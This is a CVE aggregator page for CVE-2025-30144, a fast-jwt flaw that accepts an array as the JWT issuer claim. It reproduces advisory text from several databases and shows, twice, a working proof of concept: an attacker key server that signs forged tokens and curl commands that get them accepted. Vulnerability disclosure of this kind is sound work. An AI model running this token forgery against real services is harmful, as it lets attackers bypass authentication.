CVE-2025-30144
Fast-JWT Improperly Validates iss Claims
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
Fast-JWT Improperly Validates iss Claims
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.
- Record
CVE-2025-30144- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-345, CWE-290
- Updated
- 2026-11-02
EUVDEUVD-2025-6727
6.5
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.
- Record
EUVD-2025-6727- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-gm45-q3v2-6cf8
6.5
Fast-JWT Improperly Validates iss Claims
Summary
The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
Details
The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.
Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.
PoC
Take a server running the following code:
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
Impact
Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.
Solution
Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
- Record
GHSA-gm45-q3v2-6cf8- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-290
- Updated
- 2026-11-02
NVD
6.5
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.
- Record
CVE-2025-30144- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-290, CWE-345
- Updated
- 2026-11-02
OSV
6.5
Fast-JWT Improperly Validates iss Claims
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.
- Record
CVE-2025-30144- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-290, CWE-345
- Updated
- 2026-11-02
OSVGHSA-gm45-q3v2-6cf8
6.5
Fast-JWT Improperly Validates iss Claims
Summary
The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
Details
The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.
Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.
PoC
Take a server running the following code:
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
Impact
Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.
Solution
Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
- Record
GHSA-gm45-q3v2-6cf8- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-290
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
fast-jwtnpm |
before 5.0.6 | 5.0.6 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | tibrn/CVE-2025-30144 | 2025-03-21 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-30144 is a medium vulnerability (CVSS 6.5) in Nearform Fast-jwt, published March 19, 2025. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.59%, the 48th percentile. Fixed in fast-jwt 5.0.6.
References
github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8
github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd
datatracker.ietf.org/doc/html/rfc7519
nvd.nist.gov/vuln/detail/CVE-2025-30144
github.com/advisories/GHSA-gm45-q3v2-6cf8
github.com/CVEProject/cvelistV5/tree/main/cves/2025/30xxx/CVE-2025-30144.json
github.com/nearform/fast-jwt